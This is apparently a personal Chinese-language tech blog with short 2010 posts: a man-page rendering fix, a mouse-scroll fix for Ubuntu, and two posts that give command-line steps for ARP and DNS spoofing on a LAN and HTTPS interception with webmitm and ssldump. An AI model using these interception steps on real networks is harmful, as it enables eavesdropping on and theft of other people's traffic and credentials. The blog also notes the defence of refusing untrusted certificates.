星期二, 7月 20, 2010

MAN page FixME

在用MAN page時出現了該訊息,而且很多內容看起來都怪怪如下

NMAP(1) [FIXME: manual] NMAP(1)


因此用來看看是為什麼,出現如下
cacaegg$ man -d nmap
Reading config file /private/etc/man.conf
Looked whether there exists a message catalog man, but there is none
(and for English messages none is needed)

found man directory /usr/share/man
found man directory /usr/local/share/man
found man directory /usr/X11/man
found manpath map /bin --> /usr/share/man
found manpath map /sbin --> /usr/share/man
found manpath map /usr/bin --> /usr/share/man
found manpath map /usr/sbin --> /usr/share/man
found manpath map /usr/local/bin --> /usr/local/share/man
found manpath map /usr/local/sbin --> /usr/local/share/man
found manpath map /usr/X11/bin --> /usr/X11/man
found manpath map /usr/bin/X11 --> /usr/X11/man
found manpath map /usr/bin/mh --> /usr/share/man

using /usr/bin/less -is as pager

using /usr/bin/less -is as browser

using /bin/cat to dump HTML pages as text
path directory /usr/bin is in the config file
adding /usr/share/man to manpath

path directory /bin is in the config file

path directory /usr/sbin is in the config file

path directory /sbin is in the config file

path directory /usr/local/bin is in the config file
adding /usr/local/share/man/zh to manpath
adding /usr/local/share/man to manpath

path directory /usr/X11/bin is in the config file
adding /usr/X11/man to manpath

adding mandatory man directories

no cat page stored because of nonstandard line length
parsing directive from file /usr/local/share/man/zh/man1/nmap.1.old
found tbl(1) directive

not executing command:
(cd '/usr/local/share/man/zh' && (echo ".ll 18.8i"; echo ".nr LL 18.8i"; /bin/cat '/usr/local/share/man/zh/man1/nmap.1.old') | /usr/bin/tbl | /usr/bin/groff -Wall -mtty-char -Tascii -mandoc -c | (/usr/bin/less -is || true))

原來是zh中有nmap.1的檔,把它移除就可以了。

星期日, 5月 23, 2010

星期日, 5月 16, 2010

Ubuntu One on Aspire One can't scroll mouse

as title, 所以找了方法。

紀錄一下日後可用。

sudo modprobe -r psmouse
sudo modprobe psmouse proto=imps

如果可以的話,就把
options psmouse proto=imps
加到/etc/modprobe.d/options裡面,done.

ref:Link

星期日, 5月 02, 2010

HTTPS and SSL sniffing

延續上篇

可以spoofing dns以後,把有https的web site改到somehost

在somehost上,跑webmitm

webmitm會自行產生Certificate(沒有CA簽證,當然。)

webmitm會扮演好http & https proxy的角色

最後,在用ssldump -k webmitm.crt -d | grep pattern

就會過濾出....

這類攻擊的防線在於client要沒有認證的憑證網站就不要相信,

也就是瀏覽器在出現憑證沒有可信任的CA簽署時候,就不要繼續做傻事了

星期六, 5月 01, 2010

DNS Spoofing

用了幾項工具來完成。
1.dnsspoof
2.arpspoof
3.fragrouter

過程如下
1.設定好IP forwarding
#fragrouter -i eth0 -B1

2.接收LAN的封包
#arpspoof [spoof ip]
通常spoof的ip為LAN的router

3.將要改的dns放到dnsspoof.host檔案以後
#dnsspoof -f ./dnsspoof.host

OK.